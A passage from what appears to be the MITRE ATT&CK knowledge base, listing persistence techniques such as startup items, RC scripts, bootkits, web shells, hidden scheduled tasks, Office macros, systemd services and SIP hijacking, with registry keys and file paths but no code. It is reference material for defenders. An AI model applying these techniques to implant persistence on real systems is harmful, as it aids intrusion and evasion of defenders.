Agents are created with user level privileges and execute with user level permissions.(Citation: OSX Malware Detection)(Citation: OceanLotus for OS X) \nT1037.005 | Startup Items | Adversaries may use startup items automatically executed at boot initialization to establish persistence. Startup items execute during the final phase of the boot process and contain shell scripts or other executable files along with configuration information used by the system to determine the execution order for all startup items.(Citation: Startup Items)\n\nThis is technically a deprecated technology (superseded by [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)), and thus the appropriate folder, /Library/StartupItems isn\u2019t guaranteed to exist on the system by default, but does appear to exist by default on macOS Sierra. A startup item is a directory whose executable and configuration property list (plist), StartupParameters.plist, reside in the top-level directory. \n\nAn adversary can create the appropriate folders/files in the StartupItems directory to register their own persistence mechanism.(Citation: Methods of Mac Malware Persistence) Additionally, since StartupItems run during the bootup phase of macOS, they will run as the elevated root user.\nT1037.004 | RC Scripts | Adversaries may establish persistence by modifying RC scripts which are executed during a Unix-like system\u2019s startup. These files allow system administrators to map and start custom services at startup for different run levels. RC scripts require root privileges to modify.\n\nAdversaries can establish persistence by adding a malicious binary path or shell commands to rc.local, rc.common, and other RC scripts specific to the Unix-like distribution.(Citation: IranThreats Kittens Dec 2017)(Citation: Intezer HiddenWasp Map 2019) Upon reboot, the system executes the script's contents as root, resulting in persistence.\n\nAdversary abuse of RC scripts is especially effective for lightweight Unix-like distributions using the root user as default, such as IoT or embedded systems.(Citation: intezer-kaiji-malware)\n\nSeveral Unix-like systems have moved to Systemd and deprecated the use of RC scripts. This is now a deprecated mechanism in macOS in favor of [Launchd](https://attack.mitre.org/techniques/T1053/004). (Citation: Apple Developer Doco Archive Launchd)(Citation: Startup Items) This technique can be used on Mac OS X Panther v10.3 and earlier versions which still execute the RC scripts.(Citation: Methods of Mac Malware Persistence) To maintain backwards compatibility some systems, such as Ubuntu, will execute the RC scripts if they exist with the correct file permissions.(Citation: Ubuntu Manpage systemd rc)\nT1037.003 | Network Logon Script | Adversaries may use network logon scripts automatically executed at logon initialization to establish persistence. Network logon scripts can be assigned using Active Directory or Group Policy Objects.(Citation: Petri Logon Script AD) These logon scripts run with the privileges of the user they are assigned to. Depending on the systems within the network, initializing one of these scripts could apply to more than one or potentially all systems. \n \nAdversaries may use these scripts to maintain persistence on a network. Depending on the access configuration of the logon scripts, either local credentials or an administrator account may be necessary.\nT1543 | Create or Modify System Process | Adversaries may create or modify system-level processes to repeatedly execute malicious payloads as part of persistence. When operating systems boot up, they can start processes that perform background system functions. On Windows and Linux, these system processes are referred to as services.(Citation: TechNet Services) On macOS, launchd processes known as [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) and [Launch Agent](https://attack.mitre.org/techniques/T1543/001) are run to finish system initialization and load user specific parameters.(Citation: AppleDocs Launch Agent Daemons) \n\nAdversaries may install new services, daemons, or agents that can be configured to execute at startup or a repeatable interval in order to establish persistence. Similarly, adversaries may modify existing services, daemons, or agents to achieve the same effect. \n\nServices, daemons, or agents may be created with administrator privileges but executed under root/SYSTEM privileges. Adversaries may leverage this functionality to create or modify system processes in order to escalate privileges.(Citation: OSX Malware Detection) \nT1037.002 | Login Hook | Adversaries may use a Login Hook to establish persistence executed upon user logon. A login hook is a plist file that points to a specific script to execute with root privileges upon user logon. The plist file is located in the /Library/Preferences/com.apple.loginwindow.plist file and can be modified using the defaults command-line utility. This behavior is the same for logout hooks where a script can be executed upon user logout. All hooks require administrator permissions to modify or create hooks.(Citation: Login Scripts Apple Dev)(Citation: LoginWindowScripts Apple Dev) \n\nAdversaries can add or insert a path to a malicious script in the com.apple.loginwindow.plist file, using the LoginHook or LogoutHook key-value pair. The malicious script is executed upon the next user login. If a login hook already exists, adversaries can add additional commands to an existing login hook. There can be only one login and logout hook on a system at a time.(Citation: S1 macOs Persistence)(Citation: Wardle Persistence Chapter)\n\n**Note:** Login hooks were deprecated in 10.11 version of macOS in favor of [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) and [Launch Agent](https://attack.mitre.org/techniques/T1543/001) \nT1037.001 | Logon Script (Windows) | Adversaries may use Windows logon scripts automatically executed at logon initialization to establish persistence. Windows allows logon scripts to be run whenever a specific user or group of users log into a system.(Citation: TechNet Logon Scripts) This is done via adding a path to a script to the HKCU\\Environment\\UserInitMprLogonScript Registry key.(Citation: Hexacorn Logon Scripts)\n\nAdversaries may use these scripts to maintain persistence on a single system. Depending on the access configuration of the logon scripts, either local credentials or an administrator account may be necessary. \nT1542.003 | Bootkit | Adversaries may use bootkits to persist on systems. Bootkits reside at a layer below the operating system and may make it difficult to perform full remediation unless an organization suspects one was used and can act accordingly.\n\nA bootkit is a malware variant that modifies the boot sectors of a hard drive, including the Master Boot Record (MBR) and Volume Boot Record (VBR). (Citation: Mandiant M Trends 2016) The MBR is the section of disk that is first loaded after completing hardware initialization by the BIOS. It is the location of the boot loader. An adversary who has raw access to the boot drive may overwrite this area, diverting execution during startup from the normal boot loader to adversary code. (Citation: Lau 2011)\n\nThe MBR passes control of the boot process to the VBR. Similar to the case of MBR, an adversary who has raw access to the boot drive may overwrite the VBR to divert execution during startup to adversary code.\nT1542.002 | Component Firmware | Adversaries may modify component firmware to persist on systems. Some adversaries may employ sophisticated means to compromise computer components and install malicious firmware that will execute adversary code outside of the operating system and main system firmware or BIOS. This technique may be similar to [System Firmware](https://attack.mitre.org/techniques/T1542/001) but conducted upon other system components/devices that may not have the same capability or level of integrity checking.\n\nMalicious component firmware could provide both a persistent level of access to systems despite potential typical failures to maintain access and hard disk re-images, as well as a way to evade host software-based defenses and integrity checks.\nT1542.001 | System Firmware | Adversaries may modify system firmware to persist on systems.The BIOS (Basic Input/Output System) and The Unified Extensible Firmware Interface (UEFI) or Extensible Firmware Interface (EFI) are examples of system firmware that operate as the software interface between the operating system and hardware of a computer. (Citation: Wikipedia BIOS) (Citation: Wikipedia UEFI) (Citation: About UEFI)\n\nSystem firmware like BIOS and (U)EFI underly the functionality of a computer and may be modified by an adversary to perform or assist in malicious activity. Capabilities exist to overwrite the system firmware, which may give sophisticated adversaries a means to install malicious firmware updates as a means of persistence on a system that may be difficult to detect.\nT1505.003 | Web Shell | Adversaries may backdoor web servers with web shells to establish persistent access to systems. A Web shell is a Web script that is placed on an openly accessible Web server to allow an adversary to use the Web server as a gateway into a network. A Web shell may provide a set of functions to execute or a command-line interface on the system that hosts the Web server.(Citation: volexity_0day_sophos_FW)\n\nIn addition to a server-side script, a Web shell may have a client interface program that is used to talk to the Web server (e.g. [China Chopper](https://attack.mitre.org/software/S0020) Web shell client).(Citation: Lee 2013)\nT1505.002 | Transport Agent | Adversaries may abuse Microsoft transport agents to establish persistent access to systems. Microsoft Exchange transport agents can operate on email messages passing through the transport pipeline to perform various tasks such as filtering spam, filtering malicious attachments, journaling, or adding a corporate signature to the end of all outgoing emails.(Citation: Microsoft TransportAgent Jun 2016)(Citation: ESET LightNeuron May 2019) Transport agents can be written by application developers and then compiled to .NET assemblies that are subsequently registered with the Exchange server. Transport agents will be invoked during a specified stage of email processing and carry out developer defined tasks. \n\nAdversaries may register a malicious transport agent to provide a persistence mechanism in Exchange Server that can be triggered by adversary-specified email events.(Citation: ESET LightNeuron May 2019) Though a malicious transport agent may be invoked for all emails passing through the Exchange transport pipeline, the agent can be configured to only carry out specific tasks in response to adversary defined criteria. For example, the transport agent may only carry out an action like copying in-transit attachments and saving them for later exfiltration if the recipient email address matches an entry on a list provided by the adversary. \nT1505.001 | SQL Stored Procedures | Adversaries may abuse SQL stored procedures to establish persistent access to systems. SQL Stored Procedures are code that can be saved and reused so that database users do not waste time rewriting frequently used SQL queries. Stored procedures can be invoked via SQL statements to the database using the procedure name or via defined events (e.g. when a SQL server application is started/restarted).\n\nAdversaries may craft malicious stored procedures that can provide a persistence mechanism in SQL database servers.(Citation: NetSPI Startup Stored Procedures)(Citation: Kaspersky MSSQL Aug 2019) To execute operating system commands through SQL syntax the adversary may have to enable additional functionality, such as xp_cmdshell for MSSQL Server.(Citation: NetSPI Startup Stored Procedures)(Citation: Kaspersky MSSQL Aug 2019)(Citation: Microsoft xp_cmdshell 2017) \n\nMicrosoft SQL Server can enable common language runtime (CLR) integration. With CLR integration enabled, application developers can write stored procedures using any .NET framework language (e.g. VB .NET, C#, etc.).(Citation: Microsoft CLR Integration 2017) Adversaries may craft or modify CLR assemblies that are linked to stored procedures since these CLR assemblies can be made to execute arbitrary commands.(Citation: NetSPI SQL Server CLR) \nT1053.003 | Cron | Adversaries may abuse the cron utility to perform task scheduling for initial or recurring execution of malicious code.(Citation: 20 macOS Common Tools and Techniques) The cron utility is a time-based job scheduler for Unix-like operating systems. The crontab file contains the schedule of cron entries to be run and the specified times for execution. Any crontab files are stored in operating system-specific file paths.\n\nAn adversary may use cron in Linux or Unix environments to execute programs at system startup or on a scheduled basis for [Persistence](https://attack.mitre.org/tactics/TA0003). \nT1053.004 | Launchd | This technique is deprecated due to the inaccurate usage. The report cited did not provide technical detail as to how the malware interacted directly with launchd rather than going through known services. Other system services are used to interact with launchd rather than launchd being used by itself. \n\nAdversaries may abuse the Launchd daemon to perform task scheduling for initial or recurring execution of malicious code. The launchd daemon, native to macOS, is responsible for loading and maintaining services within the operating system. This process loads the parameters for each launch-on-demand system-level daemon from the property list (plist) files found in /System/Library/LaunchDaemons and /Library/LaunchDaemons (Citation: AppleDocs Launch Agent Daemons). These LaunchDaemons have property list files which point to the executables that will be launched (Citation: Methods of Mac Malware Persistence).\n\nAn adversary may use the launchd daemon in macOS environments to schedule new executables to run at system startup or on a scheduled basis for persistence. launchd can also be abused to run a process under the context of a specified account. Daemons, such as launchd, run with the permissions of the root user account, and will operate regardless of which user account is logged in.\nT1053.001 | At (Linux) | Adversaries may abuse the [at](https://attack.mitre.org/software/S0110) utility to perform task scheduling for initial, recurring, or future execution of malicious code. The [at](https://attack.mitre.org/software/S0110) command within Linux operating systems enables administrators to schedule tasks.(Citation: Kifarunix - Task Scheduling in Linux)\n\nAn adversary may use [at](https://attack.mitre.org/software/S0110) in Linux environments to execute programs at system startup or on a scheduled basis for persistence. [at](https://attack.mitre.org/software/S0110) can also be abused to conduct remote Execution as part of Lateral Movement and or to run a process under the context of a specified account.\n\nAdversaries may also abuse [at](https://attack.mitre.org/software/S0110) to break out of restricted environments by using a task to spawn an interactive system shell or to run system commands. Similarly, [at](https://attack.mitre.org/software/S0110) may also be used for [Privilege Escalation](https://attack.mitre.org/tactics/TA0004) if the binary is allowed to run as superuser via sudo.(Citation: GTFObins at)\nT1053.005 | Scheduled Task | Adversaries may abuse the Windows Task Scheduler to perform task scheduling for initial or recurring execution of malicious code. There are multiple ways to access the Task Scheduler in Windows. The [schtasks](https://attack.mitre.org/software/S0111) utility can be run directly on the command line, or the Task Scheduler can be opened through the GUI within the Administrator Tools section of the Control Panel. In some cases, adversaries have used a .NET wrapper for the Windows Task Scheduler, and alternatively, adversaries have used the Windows netapi32 library to create a scheduled task.\n\nThe deprecated [at](https://attack.mitre.org/software/S0110) utility could also be abused by adversaries (ex: [At](https://attack.mitre.org/techniques/T1053/002)), though at.exe can not access tasks created with schtasks or the Control Panel.\n\nAn adversary may use Windows Task Scheduler to execute programs at system startup or on a scheduled basis for persistence. The Windows Task Scheduler can also be abused to conduct remote Execution as part of Lateral Movement and/or to run a process under the context of a specified account (such as SYSTEM). Similar to [System Binary Proxy Execution](https://attack.mitre.org/techniques/T1218), adversaries have also abused the Windows Task Scheduler to potentially mask one-time execution under signed/trusted system processes.(Citation: ProofPoint Serpent)\n\nAdversaries may also create \"hidden\" scheduled tasks (i.e. [Hide Artifacts](https://attack.mitre.org/techniques/T1564)) that may not be visible to defender tools and manual queries used to enumerate tasks. Specifically, an adversary may hide a task from `schtasks /query` and the Task Scheduler by deleting the associated Security Descriptor (SD) registry value (where deletion of this value must be completed using SYSTEM permissions).(Citation: SigmaHQ)(Citation: Tarrask scheduled task) Adversaries may also employ alternate methods to hide tasks, such as altering the metadata (e.g., `Index` value) within associated registry keys.(Citation: Defending Against Scheduled Task Attacks in Windows Environments) \nT1053.002 | At | Adversaries may abuse the [at](https://attack.mitre.org/software/S0110) utility to perform task scheduling for initial or recurring execution of malicious code. The [at](https://attack.mitre.org/software/S0110) utility exists as an executable within Windows, Linux, and macOS for scheduling tasks at a specified time and date. Although deprecated in favor of [Scheduled Task](https://attack.mitre.org/techniques/T1053/005)'s [schtasks](https://attack.mitre.org/software/S0111) in Windows environments, using [at](https://attack.mitre.org/software/S0110) requires that the Task Scheduler service be running, and the user to be logged on as a member of the local Administrators group.\n\nOn Linux and macOS, [at](https://attack.mitre.org/software/S0110) may be invoked by the superuser as well as any users added to the at.allow file. If the at.allow file does not exist, the at.deny file is checked. Every username not listed in at.deny is allowed to invoke [at](https://attack.mitre.org/software/S0110). If the at.deny exists and is empty, global use of [at](https://attack.mitre.org/software/S0110) is permitted. If neither file exists (which is often the baseline) only the superuser is allowed to use [at](https://attack.mitre.org/software/S0110).(Citation: Linux at)\n\nAdversaries may use [at](https://attack.mitre.org/software/S0110) to execute programs at system startup or on a scheduled basis for [Persistence](https://attack.mitre.org/tactics/TA0003). [at](https://attack.mitre.org/software/S0110) can also be abused to conduct remote [Execution](https://attack.mitre.org/tactics/TA0002) as part of [Lateral Movement](https://attack.mitre.org/tactics/TA0008) and/or to run a process under the context of a specified account (such as SYSTEM).\n\nIn Linux environments, adversaries may also abuse [at](https://attack.mitre.org/software/S0110) to break out of restricted environments by using a task to spawn an interactive system shell or to run system commands. Similarly, [at](https://attack.mitre.org/software/S0110) may also be used for [Privilege Escalation](https://attack.mitre.org/tactics/TA0004) if the binary is allowed to run as superuser via sudo.(Citation: GTFObins at)\nT1542 | Pre-OS Boot | Adversaries may abuse Pre-OS Boot mechanisms as a way to establish persistence on a system. During the booting process of a computer, firmware and various startup services are loaded before the operating system. These programs control flow of execution before the operating system takes control.(Citation: Wikipedia Booting)\n\nAdversaries may overwrite data in boot drivers or firmware such as BIOS (Basic Input/Output System) and The Unified Extensible Firmware Interface (UEFI) to persist on systems at a layer below the operating system. This can be particularly difficult to detect as malware at this level will not be detected by host software-based defenses.\nT1137.001 | Office Template Macros | Adversaries may abuse Microsoft Office templates to obtain persistence on a compromised system. Microsoft Office contains templates that are part of common Office applications and are used to customize styles. The base templates within the application are used each time an application starts. (Citation: Microsoft Change Normal Template)\n\nOffice Visual Basic for Applications (VBA) macros (Citation: MSDN VBA in Office) can be inserted into the base template and used to execute code when the respective Office application starts in order to obtain persistence. Examples for both Word and Excel have been discovered and published. By default, Word has a Normal.dotm template created that can be modified to include a malicious macro. Excel does not have a template file created by default, but one can be added that will automatically be loaded.(Citation: enigma0x3 normal.dotm)(Citation: Hexacorn Office Template Macros) Shared templates may also be stored and pulled from remote locations.(Citation: GlobalDotName Jun 2019) \n\nWord Normal.dotm location:
\nC:\\Users\\<username>\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm\n\nExcel Personal.xlsb location:
\nC:\\Users\\<username>\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART\\PERSONAL.XLSB\n\nAdversaries may also change the location of the base template to point to their own by hijacking the application's search order, e.g. Word 2016 will first look for Normal.dotm under C:\\Program Files (x86)\\Microsoft Office\\root\\Office16\\, or by modifying the GlobalDotName registry key. By modifying the GlobalDotName registry key an adversary can specify an arbitrary location, file name, and file extension to use for the template that will be loaded on application startup. To abuse GlobalDotName, adversaries may first need to register the template as a trusted document or place it in a trusted location.(Citation: GlobalDotName Jun 2019) \n\nAn adversary may need to enable macros to execute unrestricted depending on the system or enterprise security policy on use of macros.\nT1137.004 | Outlook Home Page | Adversaries may abuse Microsoft Outlook's Home Page feature to obtain persistence on a compromised system. Outlook Home Page is a legacy feature used to customize the presentation of Outlook folders. This feature allows for an internal or external URL to be loaded and presented whenever a folder is opened. A malicious HTML page can be crafted that will execute code when loaded by Outlook Home Page.(Citation: SensePost Outlook Home Page)\n\nOnce malicious home pages have been added to the user\u2019s mailbox, they will be loaded when Outlook is started. Malicious Home Pages will execute when the right Outlook folder is loaded/reloaded.(Citation: SensePost Outlook Home Page)\n\nT1137.003 | Outlook Forms | Adversaries may abuse Microsoft Outlook forms to obtain persistence on a compromised system. Outlook forms are used as templates for presentation and functionality in Outlook messages. Custom Outlook forms can be created that will execute code when a specifically crafted email is sent by an adversary utilizing the same custom Outlook form.(Citation: SensePost Outlook Forms)\n\nOnce malicious forms have been added to the user\u2019s mailbox, they will be loaded when Outlook is started. Malicious forms will execute when an adversary sends a specifically crafted email to the user.(Citation: SensePost Outlook Forms)\nT1137.005 | Outlook Rules | Adversaries may abuse Microsoft Outlook rules to obtain persistence on a compromised system. Outlook rules allow a user to define automated behavior to manage email messages. A benign rule might, for example, automatically move an email to a particular folder in Outlook if it contains specific words from a specific sender. Malicious Outlook rules can be created that can trigger code execution when an adversary sends a specifically crafted email to that user.(Citation: SilentBreak Outlook Rules)\n\nOnce malicious rules have been added to the user\u2019s mailbox, they will be loaded when Outlook is started. Malicious rules will execute when an adversary sends a specifically crafted email to the user.(Citation: SilentBreak Outlook Rules)\nT1137.006 | Add-ins | Adversaries may abuse Microsoft Office add-ins to obtain persistence on a compromised system. Office add-ins can be used to add functionality to Office programs. (Citation: Microsoft Office Add-ins) There are different types of add-ins that can be used by the various Office products; including Word/Excel add-in Libraries (WLL/XLL), VBA add-ins, Office Component Object Model (COM) add-ins, automation add-ins, VBA Editor (VBE), Visual Studio Tools for Office (VSTO) add-ins, and Outlook add-ins. (Citation: MRWLabs Office Persistence Add-ins)(Citation: FireEye Mail CDS 2018)\n\nAdd-ins can be used to obtain persistence because they can be set to execute code when an Office application starts. \nT1137.002 | Office Test | Adversaries may abuse the Microsoft Office \"Office Test\" Registry key to obtain persistence on a compromised system. An Office Test Registry location exists that allows a user to specify an arbitrary DLL that will be executed every time an Office application is started. This Registry key is thought to be used by Microsoft to load DLLs for testing and debugging purposes while developing Office applications. This Registry key is not created by default during an Office installation.(Citation: Hexacorn Office Test)(Citation: Palo Alto Office Test Sofacy)\n\nThere exist user and global Registry keys for the Office Test feature:\n\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Office test\\Special\\Perf\n* HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Office test\\Special\\Perf\n\nAdversaries may add this Registry key and specify a malicious DLL that will be executed whenever an Office application, such as Word or Excel, is started.\nT1519 | Emond | Adversaries may use Event Monitor Daemon (emond) to establish persistence by scheduling malicious commands to run on predictable event triggers. Emond is a [Launch Daemon](https://attack.mitre.org/techniques/T1160) that accepts events from various services, runs them through a simple rules engine, and takes action. The emond binary at /sbin/emond will load any rules from the /etc/emond.d/rules/ directory and take action once an explicitly defined event takes place. The rule files are in the plist format and define the name, event type, and action to take. Some examples of event types include system startup and user authentication. Examples of actions are to run a system command or send an email. The emond service will not launch if there is no file present in the QueueDirectories path /private/var/db/emondClients, specified in the [Launch Daemon](https://attack.mitre.org/techniques/T1160) configuration file at/System/Library/LaunchDaemons/com.apple.emond.plist.(Citation: xorrior emond Jan 2018)(Citation: magnusviri emond Apr 2016)(Citation: sentinelone macos persist Jun 2019)\n\nAdversaries may abuse this service by writing a rule to execute commands when a defined event occurs, such as system start up or user authentication.(Citation: xorrior emond Jan 2018)(Citation: magnusviri emond Apr 2016)(Citation: sentinelone macos persist Jun 2019) Adversaries may also be able to escalate privileges from administrator to root as the emond service is executed with root privileges by the [Launch Daemon](https://attack.mitre.org/techniques/T1160) service.\nT1547.013 | XDG Autostart Entries | Adversaries may modify XDG autostart entries to execute programs or commands during system boot. Linux desktop environments that are XDG compliant implement functionality for XDG autostart entries. These entries will allow an application to automatically start during the startup of a desktop environment after user logon. By default, XDG autostart entries are stored within the /etc/xdg/autostart or ~/.config/autostart directories and have a .desktop file extension.(Citation: Free Desktop Application Autostart Feb 2006)\n\nWithin an XDG autostart entry file, the Type key specifies if the entry is an application (type 1), link (type 2) or directory (type 3). The Name key indicates an arbitrary name assigned by the creator and the Exec key indicates the application and command line arguments to execute.(Citation: Free Desktop Entry Keys)\n\nAdversaries may use XDG autostart entries to maintain persistence by executing malicious commands and payloads, such as remote access tools, during the startup of a desktop environment. Commands included in XDG autostart entries with execute after user logon in the context of the currently logged on user. Adversaries may also use [Masquerading](https://attack.mitre.org/techniques/T1036) to make XDG autostart entries look as if they are associated with legitimate programs.\nT1525 | Implant Internal Image | Adversaries may implant cloud or container images with malicious code to establish persistence after gaining access to an environment. Amazon Web Services (AWS) Amazon Machine Images (AMIs), Google Cloud Platform (GCP) Images, and Azure Images as well as popular container runtimes such as Docker can be implanted or backdoored. Unlike [Upload Malware](https://attack.mitre.org/techniques/T1608/001), this technique focuses on adversaries implanting an image in a registry within a victim\u2019s environment. Depending on how the infrastructure is provisioned, this could provide persistent access if the infrastructure provisioning tool is instructed to always use the latest image.(Citation: Rhino Labs Cloud Image Backdoor Technique Sept 2019)\n\nA tool has been developed to facilitate planting backdoors in cloud container images.(Citation: Rhino Labs Cloud Backdoor September 2019) If an adversary has access to a compromised AWS instance, and permissions to list the available container images, they may implant a backdoor such as a [Web Shell](https://attack.mitre.org/techniques/T1505/003).(Citation: Rhino Labs Cloud Image Backdoor Technique Sept 2019)\nT1505 | Server Software Component | Adversaries may abuse legitimate extensible development features of servers to establish persistent access to systems. Enterprise server applications may include features that allow developers to write and install software or scripts to extend the functionality of the main application. Adversaries may install malicious components to extend and abuse server applications.(Citation: volexity_0day_sophos_FW)\nT1504 | PowerShell Profile | Adversaries may gain persistence and elevate privileges in certain situations by abusing [PowerShell](https://attack.mitre.org/techniques/T1086) profiles. A PowerShell profile (profile.ps1) is a script that runs when PowerShell starts and can be used as a logon script to customize user environments. PowerShell supports several profiles depending on the user or host program. For example, there can be different profiles for PowerShell host programs such as the PowerShell console, PowerShell ISE or Visual Studio Code. An administrator can also configure a profile that applies to all users and host programs on the local computer. (Citation: Microsoft About Profiles) \n\nAdversaries may modify these profiles to include arbitrary commands, functions, modules, and/or PowerShell drives to gain persistence. Every time a user opens a PowerShell session the modified script will be executed unless the -NoProfile flag is used when it is launched. (Citation: ESET Turla PowerShell May 2019) \n\nAn adversary may also be able to escalate privileges if a script in a PowerShell profile is loaded and executed by an account with higher privileges, such as a domain administrator. (Citation: Wits End and Shady PowerShell Profiles)\nT1501 | Systemd Service | Systemd services can be used to establish persistence on a Linux system. The systemd service manager is commonly used for managing background daemon processes (also known as services) and other system resources.(Citation: Linux man-pages: systemd January 2014)(Citation: Freedesktop.org Linux systemd 29SEP2018) Systemd is the default initialization (init) system on many Linux distributions starting with Debian 8, Ubuntu 15.04, CentOS 7, RHEL 7, Fedora 15, and replaces legacy init systems including SysVinit and Upstart while remaining backwards compatible with the aforementioned init systems.\n\nSystemd utilizes configuration files known as service units to control how services boot and under what conditions. By default, these unit files are stored in the /etc/systemd/system and /usr/lib/systemd/system directories and have the file extension .service. Each service unit file may contain numerous directives that can execute system commands. \n\n* ExecStart, ExecStartPre, and ExecStartPost directives cover execution of commands when a services is started manually by 'systemctl' or on system start if the service is set to automatically start. \n* ExecReload directive covers when a service restarts. \n* ExecStop and ExecStopPost directives cover when a service is stopped or manually by 'systemctl'.\n\nAdversaries have used systemd functionality to establish persistent access to victim systems by creating and/or modifying service unit files that cause systemd to execute malicious commands at recurring intervals, such as at system boot.(Citation: Anomali Rocke March 2019)(Citation: gist Arch package compromise 10JUL2018)(Citation: Arch Linux Package Systemd Compromise BleepingComputer 10JUL2018)(Citation: acroread package compromised Arch Linux Mail 8JUL2018)\n\nWhile adversaries typically require root privileges to create/modify service unit files in the /etc/systemd/system and /usr/lib/systemd/system directories, low privilege users can create/modify service unit files in directories such as ~/.config/systemd/user/ to achieve user-level persistence.(Citation: Rapid7 Service Persistence 22JUNE2016)\nT1205 | Traffic Signaling | Adversaries may use traffic signaling to hide open ports or other malicious functionality used for persistence or command and control. Traffic signaling involves the use of a magic value or sequence that must be sent to a system to trigger a special response, such as opening a closed port or executing a malicious task. This may take the form of sending a series of packets with certain characteristics before a port will be opened that the adversary can use for command and control. Usually this series of packets consists of attempted connections to a predefined sequence of closed ports (i.e. [Port Knocking](https://attack.mitre.org/techniques/T1205/001)), but can involve unusual flags, specific strings, or other unique characteristics. After the sequence is completed, opening a port may be accomplished by the host-based firewall, but could also be implemented by custom software.\n\nAdversaries may also communicate with an already open port, but the service listening on that port will only respond to commands or trigger other malicious functionality if passed the appropriate magic value(s).\n\nThe observation of the signal packets to trigger the communication can be conducted through different methods. One means, originally implemented by Cd00r (Citation: Hartrell cd00r 2002), is to use the libpcap libraries to sniff for the packets in question. Another method leverages raw sockets, which enables the malware to use ports that are already open for use by other programs.\n\nOn network devices, adversaries may use crafted packets to enable [Network Device Authentication](https://attack.mitre.org/techniques/T1556/004) for standard services offered by the device such as telnet. Such signaling may also be used to open a closed service port such as telnet, or to trigger module modification of malware implants on the device, adding, removing, or changing malicious capabilities. Adversaries may use crafted packets to attempt to connect to one or more (open or closed) ports, but may also attempt to connect to a router interface, broadcast, and network address IP on the same port in order to achieve their goals and objectives.(Citation: Cisco Synful Knock Evolution)(Citation: Mandiant - Synful Knock)(Citation: Cisco Blog Legacy Device Attacks) To enable this traffic signaling on embedded devices, adversaries must first achieve and leverage [Patch System Image](https://attack.mitre.org/techniques/T1601/001) due to the monolithic nature of the architecture.\n\nAdversaries may also use the Wake-on-LAN feature to turn on powered off systems. Wake-on-LAN is a hardware feature that allows a powered down system to be powered on, or woken up, by sending a magic packet to it. Once the system is powered on, it may become a target for lateral movement.(Citation: Bleeping Computer - Ryuk WoL)(Citation: AMD Magic Packet)\nT1215 | Kernel Modules and Extensions | Loadable Kernel Modules (or LKMs) are pieces of code that can be loaded and unloaded into the kernel upon demand. They extend the functionality of the kernel without the need to reboot the system. For example, one type of module is the device driver, which allows the kernel to access hardware connected to the system. (Citation: Linux Kernel Programming)\u00a0When used maliciously, Loadable Kernel Modules (LKMs) can be a type of kernel-mode [Rootkit](https://attack.mitre.org/techniques/T1014) that run with the highest operating system privilege (Ring 0). (Citation: Linux Kernel Module Programming Guide)\u00a0Adversaries can use loadable kernel modules to covertly persist on a system and evade defenses. Examples have been found in the wild and there are some open source projects. (Citation: Volatility Phalanx2) (Citation: CrowdStrike Linux Rootkit) (Citation: GitHub Reptile) (Citation: GitHub Diamorphine)\n\nCommon features of LKM based rootkits include: hiding itself, selective hiding of files, processes and network activity, as well as log tampering, providing authenticated backdoors and enabling root access to non-privileged users. (Citation: iDefense Rootkit Overview)\n\nKernel extensions, also called kext, are used for macOS to load functionality onto a system similar to LKMs for Linux. They are loaded and unloaded through kextload and kextunload commands. Several examples have been found where this can be used. (Citation: RSAC 2015 San Francisco Patrick Wardle) (Citation: Synack Secure Kernel Extension Broken) Examples have been found in the wild. (Citation: Securelist Ventir)\nT1209 | Time Providers | The Windows Time service (W32Time) enables time synchronization across and within domains. (Citation: Microsoft W32Time Feb 2018) W32Time time providers are responsible for retrieving time stamps from hardware/network resources and outputting these values to other network clients. (Citation: Microsoft TimeProvider)\n\nTime providers are implemented as dynamic-link libraries (DLLs) that are registered in the subkeys of HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Services\\W32Time\\TimeProviders\\. (Citation: Microsoft TimeProvider) The time provider manager, directed by the service control manager, loads and starts time providers listed and enabled under this key at system startup and/or whenever parameters are changed. (Citation: Microsoft TimeProvider)\n\nAdversaries may abuse this architecture to establish Persistence, specifically by registering and enabling a malicious DLL as a time provider. Administrator privileges are required for time provider registration, though execution will run in context of the Local Service account. (Citation: Github W32Time Oct 2017)\nT1198 | SIP and Trust Provider Hijacking | In user mode, Windows Authenticode (Citation: Microsoft Authenticode) digital signatures are used to verify a file's origin and integrity, variables that may be used to establish trust in signed code (ex: a driver with a valid Microsoft signature may be handled as safe). The signature validation process is handled via the WinVerifyTrust application programming interface (API) function, (Citation: Microsoft WinVerifyTrust) which accepts an inquiry and coordinates with the appropriate trust provider, which is responsible for validating parameters of a signature. (Citation: SpectorOps Subverting Trust Sept 2017)\n\nBecause of the varying executable file types and corresponding signature formats, Microsoft created software components called Subject Interface Packages (SIPs) (Citation: EduardosBlog SIPs July 2008) to provide a layer of abstraction between API functions and files. SIPs are responsible for enabling API functions to create, retrieve, calculate, and verify signatures. Unique SIPs exist for most file formats (Executable, PowerShell, Installer, etc., with catalog signing providing a catch-all (Citation: Microsoft Catalog Files and Signatures April 2017)) and are identified by globally unique identifiers (GUIDs). (Citation: SpectorOps Subverting Trust Sept 2017)\n\nSimilar to [Code Signing](https://attack.mitre.org/techniques/T1116), adversaries may abuse this architecture to subvert trust controls and bypass security policies that allow only legitimately signed code to execute on a system. Adversaries may hijack SIP and trust provider components to mislead operating system and whitelisting tools to classify malicious (or any) code as signed by: (Citation: SpectorOps Subverting Trust Sept 2017)\n\n* Modifying the Dll and FuncName Registry values in HKLM\\SOFTWARE[\\WOW6432Node\\]Microsoft\\Cryptography\\OID\\EncodingType 0\\CryptSIPDllGetSignedDataMsg\\{SIP_GUID} that point to the dynamic link library (DLL) providing a SIP\u2019s CryptSIPDllGetSignedDataMsg function, which retrieves an encoded digital certificate from a signed file. By pointing to a maliciously-crafted DLL with an exported function that always returns a known good signature value (ex: a Microsoft signature for Portable Executables) rather than the file\u2019s real signature, an adversary can apply an acceptable signature value to all files using that SIP (Citation: GitHub SIP POC Sept 2017) (although a hash mismatch will likely occur, invalidating the signature, since the hash returned by the function will not match the value computed from the file).\n* Modifying the Dll and FuncName Registry values in HKLM\\SOFTWARE\\[WOW6432Node\\]Microsoft\\Cryptography\\OID\\EncodingType 0\\CryptSIPDllVerifyIndirectData\\{SIP_GUID} that point to the DLL providing a SIP\u2019s CryptSIPDllVerifyIndirectData function, which validates a file\u2019s computed hash against the signed hash value. By pointing to a maliciously-crafted DLL with an exported function that always returns TRUE (indicating that the validation was successful), 